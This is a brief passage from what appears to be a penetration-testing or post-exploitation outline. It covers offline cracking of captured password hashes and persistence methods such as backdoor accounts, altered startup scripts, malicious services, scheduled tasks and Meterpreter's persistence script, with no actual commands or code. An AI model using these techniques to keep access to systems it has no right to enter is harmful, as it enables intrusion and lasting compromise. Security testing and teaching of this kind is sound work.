 - **Offline Cracking:** Transfer hashes to a powerful cracking rig (e.g., using Hashcat, John the Ripper).
- **Persistence:**
 - **Backdoors:** Establish mechanisms to regain access to the compromised system even after reboots or user logoffs. This can involve creating new user accounts, modifying startup scripts, installing malicious services, or scheduled tasks.
 - **Meterpreter persistence script:** Automates common persistence methods.